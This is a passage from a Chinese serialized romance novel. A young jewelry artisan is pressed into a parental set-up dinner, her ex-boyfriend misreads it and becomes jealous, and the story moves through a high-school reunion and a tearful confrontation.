容微月敲击屏幕:【我还在考虑呢。】
当初和傅蔺征分手后,她有意和班里同学们都断了联系,也是不想
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听到各种闲言碎语。
其实她最不敢面对的就是傅蔺征,而如今这人每天睡醒就在眼前晃悠,而其他人她也不是很在意。
夏斯礼说很多同学也很想见到她,晚上容微月洗完澡出来,在客厅遇到傅蔺征,问他:“你有去周天晚上的同学聚会吗?”
傅蔺征挑眉,“怎么,要我陪你?”
“……我就是随便问问。”
傅蔺征懒洋洋喝着水,“我要是不去,大家肯定都会遗憾的,这同学聚会还有意义么。”
“……”
这人怎么能这么自恋。
他抬眼看她:“你会去么?”
容微月决定好,轻点点头,他慵懒道:“我不懂具体活动,你多了解下,那天跟着你。”
她怔了怔,“好……”
到时候他要跟着她吗……
于是她和殷绿说了一声,殷绿笑:【没事,你和傅蔺征走一起就走一起呗,就让其他人去猜,高中那么多女生嫉妒你,要是看到你和傅蔺征还有联系,肯定气炸了哈哈哈。】
容微月无奈,她可想低调点,而且她现在和傅蔺征的关系,她都不知道该怎么界定。
殷绿约她明晚陪她去买衣服,【最近我忙得蓬头垢面,都不好意思见老同学了,必须要好好拾掇一下惊艳全场!】
容微月笑:【好。】
翌日周六,容微月在工作室加班,傅蔺征发来信息:【晚上几点回来,我忙完了也准备回家,刚好打算煮点意大利面,给你留一份。】
这段时间,她吃了意大利面的番茄肉酱味,奶油培根味,黑椒牛柳味,墨西哥风味,泰式甜辣味,香蒜虾仁味,松露奶油味,鱿鱼墨汁味,辣味腊肠味。
只有她想不到,没有吃不到……
不知道他还有什么新的调味料包。
容微月:【没事,你多吃点,我今晚和绿绿吃饭,迟点回去。】
那头傅蔺征看到,呵呵了声。
算了,没口福的人。
傍晚,容微月正忙着,突然殷绿发来信息吐槽说教研组今晚要临时有会,她走不开了。
容微月安抚她:【没事,我去逛逛,帮你挑几件给你拍照?】
殷绿:【好的谢谢宝[大哭]】
过了会儿,她忙完离开工作室,走下台阶却看到门口停了一辆黑色奔驰。
一个男人站在车旁,一身西装革履,领带打着矜贵的温莎结,薄唇挺鼻,面容俊朗立体,手插着兜,一身气宇非凡。
容微月愣了愣,刚往自己车走去,男人看到她却忽而开口:“容小姐?”
她疑惑回头,问说认识他吗,男人朝她走来,轮廓深邃的眉眼下泛开得体笑意,朝她伸出手:
“果然是容微月小
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姐,你好,我姓严,我叫严怀,终于见面了。”
容微月觉得这个名字耳熟,严怀察觉到她的困惑,解释:“你父母应该有和你提起过我,我在金铭金融工作,刚从多伦多回来,这段时间我的父母经常和我提起你……也想让我多了解了解你。”
容微月怔然,没伸出手,语气平静:“严先生怎么知道我在这儿?”
“你父母之前说你开了个叫晴月阁的花丝镶嵌工作室,百度上一搜不难找到。”
她心底烦躁,礼貌婉拒:“不好意思,我的父母不知道有没有和你转达清楚我的意思,我不相亲,很抱歉让您空跑一趟,我还有事,失陪了。”
“微月小姐——”
严怀挡住她去路,矜贵勾唇:“我今天来,不是为了逼你相亲,是因为加不到你的联系方式,只好冒昧登门,想请你吃顿饭,没有别的意思。”
严怀摊开手,含笑自嘲:“我父母一直催我,逼着我来找你,已经一两个月了,就一顿饭的时间,权当我们各自和父母交差了,如果你不满意我,以后我也不来打扰,可以么?”
容微月闻言,几秒后冷淡应下。
算了,吃个饭拉倒,省得后面一直烦她。
严怀黑眸渐深,勾起笑意,给她拉开副驾驶车门,“请。”
她上车,而后他坐到驾驶座,系上安全带,转了转手腕的劳力士腕表,启动车子。
严怀开着车,不禁转头看向容微月,女人一身墨绿色古董旗袍,长发如瀑,披风将身形裹得纤柔窈窕,红唇齿白,气质如落了霜雪,清冷高贵。
严怀轻笑开口:“微月小姐和传闻中很不一样,让人挺意外的。”
看向窗外的容微月回过神,“什么?”
“之前我父母经常和我提起你,说你很漂亮,现在见面我觉得你比照片更让人惊艳,”严怀笑,“而且他们说你特别温顺腼腆,我倒是觉得……微月小姐很有个性。”
容微月神色古井无波,声线清淡:“他们形容的我基本和事实南辕北辙,你不用报任何希望。”
“怎么会,我倒是觉得微月小姐这样很好,你不用有心理负担,我很欣赏。”
容微月偏眼无语。
她负担什么,她又不需要他欣赏。
一路上严怀偶尔和她闲谈着,容微月声色俱淡,甚至没和他有什么眼神交流。
手机上,她偷偷给殷绿发信息吐槽了此事,殷绿说没想到这人这么恐怖,都直接堵到工作室门口了:
【不过客观说说,这男的外形条件如何啊?高不高帅不帅?[坏笑]】
容微月:【应该有一米八吧,八十分长相。】
殷绿:【和傅蔺征对比呢?哪个帅?】
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容微月眼波微动垂眸敲下几字:【他和傅蔺征没有可比性。】
这个也是客观事实。
殷绿:【嘿嘿嘿我懂我懂[姨母笑.jpg]】
容微月找到前段时间盛柳给她发过的严怀照片还好没过期她给殷绿发去殷绿感叹说这已经很帅了但确实和傅蔺征一对比就差远了傅蔺征那是硬帅还是无死角的帅没几个男的能比得了活生生把容微月的审美养刁了。
殷绿让她放轻松吃个饭就拉倒。
最后奔驰开到市中心停在一栋大楼下她下车随意看了眼严怀的车严怀轻松道:
“这车是奔驰GLE53落地大概一百多万上个月刚买的主要是回国了有个代步工具还是方便点。”
看过傅蔺征那么多豪车容微月倒是司空见惯。
他好像从来都没和她提过他那些车的价格还让她随便开去练撞了就撞了。
容微月回过神不感兴趣地淡淡点头严怀走到她面前怀里不知何时拿了一捧粉白花束给她:
“微月小姐这是一早就准备的希望你收下很高兴认识你。”
周围人来人往她不好拒绝只好接过。
今晚严怀预订的餐厅在这栋楼楼顶是京市最高档的西餐厅之一两人乘坐直梯上去侍者领他们进去坐在靠窗的位置外头的露天阳台可以俯瞰四九城的璀璨夜景此刻银蓝色的夜幕如银河繁华美不胜收。
坐下后严怀说这家餐厅他之前经常来对此比较熟悉他来点菜她说随意。
问到红酒他眉梢挑起:“要尝尝这家的ChateauMargaux吗?我开车不能喝但是你可以放心我一定会把你安全送回家的。”
她淡声拒绝:“不用我不喝酒。”
和陌生人出来她都滴酒不沾。
严怀了然用英文打趣:“还真是个乖女孩。”
“……”
容微月无语看向窗外。
算了就两个小时忍了。
点完菜
严怀看过去对方是个穿着时尚的男人头顶着银蓝色头发严怀对容微月说了句失陪过去打招呼对方压低声音调侃:“在约会啊?你可以啊一回国就找个大美女眼光不错。”
严怀笑着拍拍他肩膀:“你别乱说就是父母安排的相亲出来和人女孩子吃个饭。”
“够幸福的啊我还想着叫你跟我去隔壁会所认识几个影视行业的大佬要不要去?”
严怀笑笑“今天不了。”
“我懂我懂不打扰你们二人世界到时候我助理送来文件
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第 29 章 ““容微月,在你这里老子就是一条...
第29章第二十九章
【““容微月在你这里老子就是一条狗。”】
chapter29
夏斯礼听到相亲也呆住了忙追问:“你这个朋友叫什么?什么来头啊?”
“他叫严怀我们都叫他严子上周刚京市工作家里有点小钱在做投资怎么了?”
“关于相亲你知道多少?”
夏斯礼让他说具体点对方回忆着:“就是他爸妈一直催婚给他介绍了一个书香门第的女孩子做什么非遗手工艺的忘记叫啥了双方家里都挺满意可能明年就能把婚事定下来了不知道是不是就是里面这个女的看外表还挺般配的。”
严怀这样的家世条件在傅蔺征和夏斯礼这种顶级京圈太子爷眼中不值一提银蓝发男人一头雾水“咋了?你们认识?”
傅蔺征黑眸冷冷看向餐厅里。
小姑娘模样清冷干净像朵雪中盛开的栀子花对面的严怀殷勤带笑不知道在聊什么氛围格外融洽。
几秒后傅蔺征冷脸转身朝电梯口大步走去。
夏斯礼连忙跟了上来考虑到傅蔺征周围气压低到极致他试图缓和:“阿征我觉得应该是个误会微月她条件多好应该不至于去相亲……”
俩人到达楼下一辆帕加尼已然停在酒店门前暗黑色车身在夜色中冷沉如兽
傅蔺征上了车夏斯礼立刻打开副驾的门坐进去前者眼神一冷捏着方向盘的指骨绷紧:“下去。”
“你疯了你现在一个人开车?你不让我跟着我直接打电话给你爸。”
夏斯礼了解傅蔺征的性格。
他现在已经是火山即将喷发的状态没人在旁边万一情绪失控不堪设想。
傅蔺征面色沉沉凶猛踩下油门。
帕加尼引擎爆鸣炸耳仿佛压抑已久的怒意被点燃盘踞蛰伏的巨兽冲了出去轮胎飞速转动碾过路面摩擦出火花。
繁华夜景在车窗外迅速**刺骨冷风灌了进来傅蔺征紧握着方向盘骨节泛白薄唇锋利如一条线。
傅蔺征踩着油门夏斯礼被推背感弄得感觉要飞出去紧紧抓着把手:“**傅蔺征**慢点开!不要命了!!”
没有回应。
傅蔺征沉着脸不断提速超过一辆又一辆车穿过一个又一个路口驶出市区。
心底妒意沸腾掀顶最后一个刹车刺耳声响起帕加尼停在车场山脚的路边。
夏斯礼被安全带拽得狠狠往后一撞他瞪大眼睛大口喘气好半晌魂才追了上来:
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“操!傅蔺征你疯了啊!老子特么刚才就不该管你!!我差点都以为没命了!”
傅蔺征没说话,打开车门下车。
他一身黑,气场在寒夜里冷冽却如爆发的火山,低头拨开烟盒,抽出一根,点燃打火机。
青蓝色火焰点燃烟头,傅蔺征一呼一吸吐出烟雾,刺红的火光映照出他棱角分明的颧骨。
他手撑着车,沉沉呼吸,捏着烟的右手指尖不受控微颤。
夏斯礼下车走过来,看到他的右手,想到什么拧眉:“你这手是不是又……”
傅蔺征攥紧手心压制住颤抖,吐出白雾,喉间泛开苦涩的灼烧味。
夏斯礼无奈叹气:“我估摸着刚刚张成说的那个书香门第的女孩子就是微月了,你之前听说过她父母给她介绍对象吗?”
傅蔺征垂眼没说话。
“不过刚刚那些都是张成的一面之词,咱们也不知道实情,就算微月真的去相亲了又怎样,这不也是才认识?”
夏斯礼想不通:“不是,傅蔺征,就你平时那暴脾气你能忍啊?刚才你怎么不冲进去啊?你当面问微月的态度啊?!”
傅蔺征扯起唇角,敛睫一笑:“我能问么。”
夏斯礼闻言愣了愣,这是他第一次在不可一世的傅大少爷身上,看到了害怕两个字——
他不是不想问,而是不敢戳破那层真相。
他害怕所有的猜测会在那一刻得到印证。
傅蔺征扯唇哑声道:“我刚才开车过来的路上,一直在想,微月会不会和那个男的聊得很开心,他们是不是兴趣相投,有说不完的话,她那么讨厌我这样吊儿郎当的,说不定会喜欢那种成熟稳重的……”
她那么美好,从高中到现在从不缺追求者。
而他呢,又是她生命中的哪个?
傅蔺征刚才没有勇气冲进去,他害怕听到她坦然承认他们在相亲,怕她说她愿意和严怀试试看,怕她反问他,他有什么资格来质问。
他又算什么?
分手了六年,他们除了曾经那段时光,一无所有。
哪怕现在离她再近,他也没办法插足她的新生活,甚至连吃醋的资格都没有。
从小到大傅蔺征狂妄张扬,恣意任性,习惯了掌控一切,可在他和容微月这段感情中,只有他知道,其实容微月自始至终才是掌握主导权的那一个。
从开始到现在,他们之间一直以来的问题,都只有她要不要他而已。
傅蔺征偏眼看向远处如墨的夜色,吐出白雾,舌根下涌出无尽的涩意。
夏斯礼看着,心如刀割,也无声叹气。
傅蔺征手机震动,是怀裕的信息:【征哥,你在哪儿?经理已经在催了,大家都到了。】
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半晌他按下眼眸,掐灭烟,上了车。
夏斯礼跟了上来。
傅蔺征低头拿出钱夹,看到夹在隔层里的照片。
是那天在缆车下和容微月的合照。
漫天夕阳下,小姑娘一身长裙,看向镜头,笑得眉眼温柔,他站在她身侧,照片像素很模糊,甚至构图都有点歪,可一拿到,他就珍藏着。
这是重逢以来,他们唯一的合照。
他好不容易才拥有的。
傅蔺征启动车子,寒冷的风灌入,他看向前方,六年前那场大一初秋的大雨,宛若淋在身上,从头到脚都冰冷彻底。
他漆黑的眼染上赤红,疼得鲜血淋漓。
-
餐厅里,一个小时后,饭局终于到了尾声。
容微月心不在焉,早已魂游向外。
严怀叫来服务生结账,她提出AA,严怀笑:“初次见面男人请客是绅士之道,以后有机会你再请我。
……哪里来的以后。
严怀说想了解一下花丝镶嵌:“微月小姐,能不能加下你的微信?我姐明年结婚,还想着定制一套花丝镶嵌首饰,刚好可以找你。
终于讲了句她愿意听的,容微月也想加微信后把钱转过去,她可不想再和他吃第二顿。
服务生把卡和账单送回来,两人走出餐厅,严怀问她:“楼下我知道有一家很好的清吧,室外夜景很美,有时间的话我们下去坐坐?
“不了,我没空。
“那好吧,那就下次再约。
到楼下,严怀说送她回去,她婉拒说还有事,他只好和她道别:
“微月小姐,今天这顿饭吃得很开心,这次时间比较赶,希望下次我们再慢慢了解。
容微月抬头看向他,声线平淡而清晰:“严先生,我的态度我想你很明确了,我对你没有任何想法,你不用在我这儿浪费时间。
严怀提起唇角:“微月小姐,爱情不单单有一见钟情,还有日久生情。
严怀自信笑着:“感情可以慢慢培养,我不介意你把我其他人放在一起对比过后再做抉择,我的条件摆在这儿,我相信你去外面看一圈,就会知道该选什么。
容微月冷淡一笑:“不用对比,因为你本身就不在我的考虑范围,我见过比你有钱很多的人,但是他从来不会把钱挂在嘴边,因为他太优秀了,钱对他来说只是他身上最不值得一提的资本。
严怀脸色微僵,容微月转身离开,又停下步伐,转头看他:
“还有,不好意思,我只信一见钟情。
有些人,是她看第一眼就忘不了的人。
哪怕往后余生遇到过再多形形**的,都代替不了。
容微月往前走
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穿过人来人往的街道直至路过一个垃圾桶把手中那捧粉色玫瑰直接扔了进去。
她去往附近的商场给殷绿挑了件衣服自己也买了件大衣外套。
殷绿说开会还没结束问她见面情况如何她淡淡回复:【毫无感觉。】
殷绿揶揄:【心里如果有人的话看其他人当然没感觉啦。】
容微月心口被敲了下泛起涟漪。
晚上快十一点她才坐地铁从市中心回小区。
回到家烦闷一晚上的心情已经松快许多呼呼跑来小绒团在她脚边蹭来蹭去她含笑地抱起它:“宝贝我回来啦你吃饭没有?”
屋里一片黑
她吓得一惊。
这人怎么不开灯的?
傅蔺征不知道一个人坐了多久身影与夜色交融闻声掀起眼皮目光落向她。
容微月平复心跳:“你怎么在这儿?”
傅蔺征视线落向她手里拎着几个购物袋。
他们是又去逛商场了么。
刚刚她还哼着歌心情似乎看上去还算愉快。
他垂眸喝了口酒声线低哑:“看夜景。”
容微月走过去看到他面前的桌子上放着瓶威士忌空气中飘着浓重的酒精味酒旁边还有些拆开的盒子和螺丝刀、零件之类的工具不知道是什么。
容微月眨了眨眸感觉到这人一反常态的情绪轻声问:“你什么时候回来的?我记得今天我们要给呼呼剪**。”
“都剪好了。”
她呆了呆道歉:“我今晚忙完回来有点迟。”
见他没说话她也不知道该说什么不敢打扰:“那没事的话我先回房休息了。”
她欲转身要走手腕忽然被猛地扣住。
容微月怔住傅蔺征抬起眼灼热视线看着她声音极低:“今晚和殷绿吃饭开心么?”
下午她和他说的是今晚和殷绿吃饭。
她心跳莫名乱了一拍。
突然之间她不想让他知道严怀的存在。
她红唇翕动沉默几秒轻声开口:“嗯……怎么了?”
傅蔺征看着她心虚的眼神眼底渐渐冷下。
所有情绪翻滚而上最后被竭力强压住他垂下眼轻笑了声。
他慢慢松开手低哑嗓音落下:“没什么湖安找她说问点事情。”
“啊好那我去和殷绿说一声……”
容微月走回房间他拿起酒瓶仰头灌下末了一滴未剩瓶子被扣到桌上。
他眉眼垂落神色沉冷。
另一头容微月关上卧室门心思缭绕。
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她心底莫名惴惴总觉得傅蔺征好奇怪好像是生气又好像没有不知道是不是工作上出了问题……
她刚才没说实话是因为她觉得严怀和她之间什么事都没有她已经拒绝了这个人她以后也不会再见莫名的她不想让傅蔺征知道总感觉他会不开心。
她不知道自己和傅蔺征未来如何
容微月懵懵然趴在桌上脑中一团乱麻。
-
一个晚上容微月翻来覆去睡得并不安稳。
翌日周天是澜高的六十周年校庆。
早晨是校庆开幕式和文艺表演下午是校友专题展和自由参观校园。
早上殷绿还在学校开会所以容微月下午再和她一起去。
午后她换好衣服一身奶油白针织衫搭配直筒长裙外头披着新买的烟雾蓝长款大衣腰肢被勾勒得纤细裙摆在风中轻轻晃动别在耳后的黑茶色长发露出耳垂上的珍珠耳钉整个人如老电影里走出来般温柔干净。
她走出卧室看到傅蔺征坐在客厅沙发正打着电话。
“那个小姑娘人不错你要不先见见?”母亲霓映枝温柔的声音透过免提传来“清大的法学博士长得也好看性格也很温柔端庄和你挺般配的。”
容微月脚步一顿。
“我不见。”傅蔺征嗓音沉哑透着不耐“你们能不能别安排了。”
那头父亲傅司盛沉稳的嗓音响起:“阿征你做事情从小就有规划爸妈不替你做决定但是你就打算一直这样耽误着?还是你已经有喜欢的女孩子了……还是男孩子?”
傅蔺征:“……”
他冷声烦躁开口:“我喜欢女的还有你们给我安排的我都不会见几年了有完没完?我结不结婚我说了算。”
他将手机扔到一旁靠着沙发长睫垂下。
客厅沉寂只有呼呼在他脚边窝着。
容微月闻声垂下眼眸光微黯。
傅蔺征家庭对他另外一半的要求肯定也很高吧他们估计也很着急……
她敛了敛神走出去呼呼看到她跑了过来她看向沙发上的男人想到他之前说的还是鼓起勇气问:
“傅蔺征我准备去澜高了你一起去吗?”
今早傅蔺征待在房间里都没出来中午的时候他叫来了几道私房小厨的饭菜给她发信息让她吃了他自己却没出来吃饭。
傅蔺征眼下乌青淡淡抬眼看她声线被烟酒泡过沉哑淡漠:“你先去吧。”
容微月怔了怔低头:“好……”
她
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不知道是不是因为他被催婚,心情不好,也不敢打扰。
半小时后殷绿到楼下,容微月上了车,殷绿得知事情奇怪:“傅蔺征不是前几天还说今天跟你一起吗?他没空?”
“不知道,他好像……心情不太好。”
“你们吵架了?”
容微月摇摇头,殷绿问她昨天相亲的后续,容微月淡声道:“没有后续,加了微信后我就把钱转过去了,他后来收了。”
她讲了听到傅蔺征父母催婚的事,殷绿叹气:“现在我们这个年龄段的,多少父母不催婚啊,我也就是最近谈恋爱了我爸妈才没声音,我反正挺害怕结婚的,我觉得我只有遇到了一个觉得这辈子如果不是他、那其他人都没有意义的人,我才会甘愿走进婚姻,否则其他人才不值得结呢。”
容微月看向窗外,心底波澜四起。
过了会儿,车子开到澜高,校门拉起了建校庆祝六十周年的庆祝充气拱门,格外热闹。
两人下车,从广场绕过巨大的喷泉雕像,走上拱桥,教学楼一字排开,砖红色墙面前梧桐树挺立着,干净的石板路延展到操场尽头,落叶铺了一地,风一吹就簌簌作响,如同曾经翻开的一页页课本。
教学楼,操场旁,实验楼……
容微月看着这熟悉又陌生的景色,恍惚间又回到了六年前,想到很多和朋友们,和傅蔺征之间的回忆。
那晚在山庄,傅蔺征玩真心话时说最想回去的是高三,其实她也是。
在澜高的那一年,因为有他,是她人生中最快乐的时光。
殷绿和她走到体育馆门口的签名墙上留下名字,俩人还遇到了曾经的几个高中同学。
傍晚,她们见到了夏斯礼和湖安还有几个同班男生,殷绿说一个下午都没看到你们,湖安温润一笑:“我们去找老班打篮球了,在球馆里面,你们什么时候到的?我还想联系你。”
“我们三点多到的,去展览楼逛了逛,对了,昨天傅蔺征说你找我?”
俩人走去一旁聊天,有同学诧异:“对了,征爷怎么还没来啊?不是说好下午和我们打球吗,又放我们鸽子。”
曾经的体委洪乐戏谑:“阿征今晚要不来,我们直接杀他家去,太过分了,前两天还说来的。”
夏斯礼闻言,看向容微月,低低的声音只有她听得到:“他今天什么情况?”
她懵然摇头,“不知道……”
夏斯礼无奈笑笑,“估计是没心情打球吧。”
容微月怔愣,夏斯礼没再说什么,出校后大家去往酒楼聚餐,包厢里头已经有十来个同学到了,正在唱歌聊天。
同学聚会每年都举办,但容微月是毕业后第一次参加,大家看
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到她很惊讶:
“天哪微月,终于见到你了!”
“我们班女神回归了!!”
许多人热情欢迎,也有几个女生上上下下打量她,目光交汇间窃窃私语,她们没想到
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几年过去容微月还是那么漂亮,一眼出挑,谁站在她旁边都会黯然失色。
好多人和她打招呼,容微月一开始有点拘谨,但好殷绿陪在身边,而且许多同学还是和从前一样友善。
同学们和老师越来越多,过了会儿门口传来声音:“各位,我们班的傅大少爷来了!”
酒楼门前,轰鸣的咆哮声撕破空气,全世界限量十台的那辆银黑色布加迪Centodieci驶来。
车身线条犀利如刃,银与黑色光泽交错,冷冽张扬,“京A·R0831”的数字是某人的专属车牌,一出现就知道是京市那位傅家太子爷来了。
车门打开,男人踏下车,黑色长款大衣敞开,黑眸利落,浑身透着桀骜的狠劲和天生的贵气,气场全开。
傅蔺征把车钥匙扔给泊车门童,往里走,几个朋友专门到门口迎接,看到他激动勾肩搭背。
很快包厢里也热闹一片,有同学道:“告诉你们一个劲爆消息,这次校庆,征爷给学校捐建了一栋新多媒体楼,今天下午刚定下来的。”
这消息一出,全场炸锅:“真的假的,他不是前几年刚捐了一栋吗?又捐一栋?!”
“**牛逼,不愧是征爷,之前捐了两千万,这次估计起码又要两千万吧!”
“你们没看到刚刚傍晚傅蔺征从校长办公室出来,校领导们亲自出来欢送,脸都笑开花了,征爷这是又能掀得了校长的桌子,又能捐楼,谁有他狂啊!”
“本来今早优秀毕业生演讲学校要请他回来的,被他拒绝了,不过哪届学生不认识他啊,牛逼**!”
正说间,容微月抬眼就看到傅蔺征被迎着走进包厢,成为全场焦点。
傅蔺征走进来,掀起眼皮对上容微月的目光,像是在一群人中精准捕捉。
容微月愣了愣垂下眼,跟着旁人往旁边挪了挪位置。
傅蔺征在她旁边的旁边坐下,许多同学目光在俩人中打转,面面相觑。
谁不知道傅蔺征当年追容微月追得轰轰烈烈,在一起后把人宠到骨子里,羡煞旁人,也让喜欢傅蔺征的女生们嫉妒坏了,可后来不知怎么俩人高考后就分手了,好多人唏嘘觉得遗憾,也好多人拍手称快。
如今六年过去,两个昔日的风云人物罕见同框,大家暗暗八卦,可是却见傅蔺征面色无澜无痕,仿佛曾经的事完全没发生。
场子冷了下,又很快有人和傅蔺征攀谈起来,聊到工作生活,有人问他们当中第
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一个结婚的谁,一个叫张淳的男生牵住晓安,格外嘚瑟:“那当然是我们俩啊,下周三我们就去领证!”
这俩人当初也是班里的小情侣,高考毕业后一直谈到现在,大家起哄道喜,有朋友八卦问:“阿征,我们倒是特别好奇,你现在有没有女朋友啊?”
“这话说的,你以为阿征和你一样还是单身狗,想当他女朋友的排长队好吗?!”
“那啥时候能见见征爷的女朋友啊?这几年藏着掖着也瞒得太好了!”
容微月眼神微动,傅蔺征把玩着打火机,几秒后淡漠吐出几字:“我没女朋友。”
众人:“?!!!”
大家直呼不可能,“征哥,你这条件要什么没有,你竟然不谈恋爱?”
“对啊,高中那时候好多女生对他前仆后继的!”
傅蔺征眼底黯淡,扯起唇角,笑得漫不经心:“单身挺好,不想谈恋爱不行?”
“征哥懂我,单身才快乐哈哈哈!”
容微月心间被一刺,视线埋低。
有男生笑说感兴趣的女生抓点紧了,现在还有机会,旁人感慨:“现在我都被我爸妈催婚催疯了,果然有钱人完全不着急啊。”
殷绿点头:“对啊,我父母年初还给我安排相亲呢,微月也是也被催婚呢。”
容微月抬眸,就对上傅蔺征看来的深邃的眼,有男生诧异:“微月,你这么漂亮也还没谈恋爱?!你为什么你不啊?”
她语气顿了顿,温声嗫嚅:“我……我没遇到喜欢的人。”
大学四年,她都一直没谈恋爱,想见的人也是最近才遇见。
没有后半句解释,傅蔺征闻言偏开眼,舌尖抵了抵上颚,脸色冷沉阴郁。
大家没想到曾经俩个香饽饽如今竟然都是单身,旁边有女生打趣:“那男生们也得抓紧了啊,喜欢微月的男孩子也不少呢,不过缘分说来就来,说不定明年两个人的喜酒都能喝到呢。”
旁边人笑:“那可热闹了啊……”
容微月抿紧红唇,低头喝了口水,心头发酸。
过了会儿同学和老师们都差不多到了,今天因为不是大型节假日,所以能参加校庆的不多,只有二十几个人。
大家围坐在大圆桌前,容微月和殷绿坐下,旁边还剩下几个位置,同学们问傅蔺征坐哪儿,容微月抬眸,见他走去她对面的空位:
“坐这儿。”
容微月怔了怔,低头捏着热毛巾。
许多同学交换眼神,察觉到了微妙,傅蔺征如今是对容微月格外冷漠啊?
菜一道道上来,大家觥筹交错,氛围热闹,容微月看到桌上有红酒,就倒入杯中。
前几晚喝酒惹出来的意外她还历历在目,但
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不知为何她现在心里闷得厉害,像是堵了块湿漉漉的棉花,只想借着酒精冲散。
对面,有人热情地去给傅蔺征添酒,却被他挡住:“开车,不喝酒。
“哎呀叫代驾嘛。
夏斯礼笑:“阿征那几千万的跑车谁敢开啊?上次我们都喝酒了,他叫了三个代驾,过来一看,全都取消订单了吓跑了。
“哈哈哈哈哈……
大家笑,傅蔺征神色淡淡,滴酒未碰。
席间自由活动敬酒时,有几个男生走到容微月身边攀谈寒暄,说加加微信,她都同意了。
“微月,以后常联系啊。
男生给她敬酒,她淡笑:“嗯。
她喝着酒,没注意到对面看过来的目光晦暗难辩,愈发沉下,半晌情绪崩盘,直接开了瓶酒,仰头灌下。
一瓶接着一瓶。
酒过三巡,容微月起身离开包厢,走去厕所。
今晚还有其他的班级也在这儿聚餐,一整层楼都很热闹,她走到洗手间门口,里头几个女生聊天的声音传出:
“你们知道吗,我们班同学聚会,傅蔺征和容微月都来了。
“他俩?他俩当初不是情侣吗,老情人相见也太刺激了吧!有没有发生什么?
“你以为拍电视剧呢,什么都没发生,俩人就没说过一句话吗,我看傅蔺征都懒得搭理容微月。
“我本来以为俩人现在都是单身,说不定还有机会呢。
“怎么可能,傅蔺征身边大把的女人,怎么会吃回头草,明显他对容微月没意思了。
“我本来就想不通当初傅蔺征看上她什么了……
话音未落,洗手间的门被推开。
几人对上容微月的目光,尴尬地立刻收住口,仓皇离开。
她走进来,低头洗着手,那些刺耳的话不住地回荡在耳边,一点点刺痛耳膜。
缓了会儿,她走出洗手间往回走,却看到包厢门外,傅蔺征倚着墙,一个女人正站在他面前。
女人笑意妍妍似乎在和他搭讪,看不清傅蔺征的神色,只见他指尖夹烟,长腿疏漫慵懒踩地,带着公子哥的散漫,像极了高三初见那晚,她看到的他的样子。
游戏人间,却仿佛无所牵绊。
没有任何人值得他停留。
或许,她也从来不是例外。
容微月心底的酸涩越翻越高,走回包厢,接下来大家还要去唱K,殷绿和同学们玩得很嗨,容微月说困了:
“我先回去,绿绿你慢慢玩。
殷绿担忧她,“你一个人可以吗?
“没问题,我自己叫车。
和老师们道别后,容微月拿着包独自往外走,忽而手机进来傅蔺征的电话。
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第 30 章 “你愿不愿意,和我结婚?”...
第30章第三十章
【“你愿不愿意,和我结婚?”】
chapter30
夜色暗沉如墨,停车场里,昏黄的路灯低垂而下,冷风卷着落叶在地面打转,周围只有偶尔驶过的车辆传来低鸣。
银黑色的布加迪Centodieci前,傅蔺征影子阴翳倒映在地面,风吹得他泛红的眸发涩。
心口逼到让人窒闷。
他长睫下的黑眸猩红炽烈,末了敛睫滚了滚喉结,冷笑自嘲开口:
“你说的对,你和谁相亲,又有谁加你,都和老子没关系。”
他扯唇:“你的态度六年前早就很明确了。”
就像那晚老师生日,在假山后他吃醋强吻她,被她甩了狠狠甩了一巴掌,她早就说了很讨厌他,或许从六年前一开始,他就是死缠烂打就让她厌恶。
风声寂寂。
几秒后,他慢慢松开攥住她的手,落向她的黑眸血点赤深,一字一句道:
“容微月,那就祝你,早日遇到对的人,长长久久,恩爱到老。”
最后,他转身离开。
容微月看着他的背影,眼眶瞬间如水漫金山,模糊了一片。
她张了张口,想叫他不要走,可万千话语像是卡在了胸口,发不出任何声音。
直直傅蔺征消失在视野,她被遗留在原地,心底那因他慢慢建立起来、被小心珍藏的美好世界骤然崩塌,爆发出钻心的疼痛,席卷五脏六腑。
她泪水决堤,像断了线的珠子掉下。
不是,不是这样的……
她想追上去,可是胃像是被狠狠揪住,钻心入骨,她疼到扶着车跌坐在地面,失声落泪。
夜色渐深,月亮藏进乌云里,天幕灰茫茫一片。
京市的夜晚越来越冷。
寒风快要刺进骨子里。
半晌有人路过停车场,就看到一个小姑娘无力地靠坐在地面,蜷缩着落泪,长发盖住苍白的脸颊,像是一只被遗弃的小猫。
有人搀扶起她,问她有没有事,要不要送她去医院,容微月摇摇头,轻声道:“不用了,我没事……”
痉挛的感觉慢慢缓解,她捂着肚子,踉跄着往前走。
口袋里手机响起,是夏斯礼打来的:
“微月,阿征刚刚打电话让我来送你回家,他……应该是怕你喝酒了不安全,你在哪儿?我送你。”
她压下哽咽,轻声开口:“不用了谢谢,殷绿来接我了。”
夏斯礼默了默,柔声道:
“好,有需要帮忙随时找我。”
挂了电话,没多久殷绿到了。
方才殷绿不放心她,问她怎么回去,容微月带着哭腔问她能不能陪陪她,殷绿感觉
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到不对劲,就立刻赶过来了。
上了车,殷绿看她仿佛被抽走了魂的样子,又得知她胃疼,赶紧给她买了杯热饮,“没事吧?要不要去医院?
“不用,缓过来了……
情绪过于激动时,她肠胃不会舒服,是大学时经常饿肚子把肠胃弄坏了。
热饮灌入喉中,疼痛慢慢缓解,殷绿问她去哪儿,容微月低着头,声音也埋得很低:“去你那儿吧。
“好。
车子启动,容微月按下车窗,风拍打她的脸颊,她却感觉不到冷。
她低头摩挲着腕口的月亮疤痕,殷绿心疼地看她一眼,忍不住问:“月月,到底发生什么事了?
殷绿猜到了什么,“是不是和傅蔺征有关?我感觉你们今晚好奇怪啊,他都没和你说话,这人平时都恨不得黏在你身上,今天到底是怎么了,你们吵架了?
容微月鼻尖泛酸,几秒后开口:
“昨晚我和严怀吃饭被他看到了,他以为我们在相亲。
“啊?!
“昨晚回到家,傅蔺征试探我了,可我骗了他,我说是和你在吃饭……
殷绿怔住,恍然喃喃:“难怪,难怪他今天整个人状态是这样的,他这是吃醋了啊?关键是你瞒着他,在他眼里这件事就更加真实可信了。
容微月愧疚哽咽:“我没有告诉他,是因为我已经明确拒绝严怀了……是我错了,我不该骗他的,我昨晚就应该要察觉到他情绪不对劲了……
刚刚傅蔺征的话不断回荡在耳边,容微月泪眼被路灯光晕染得视线模糊:
“在他心里,我一边和他接触,一边又出去和别人相亲,我就好像一次又一次**他的感情……六年前甩了他是这样,现在也是这样……他说他犯贱自作多情,因为是我一直都没有给过他回应……
傅蔺征总是热烈地奔向她,就像当初他们在一起的那个晚上,她一句想要吃青橘蛋糕,他冒着冷风,手臂摔到青紫,也朝她坚定不移跑来。
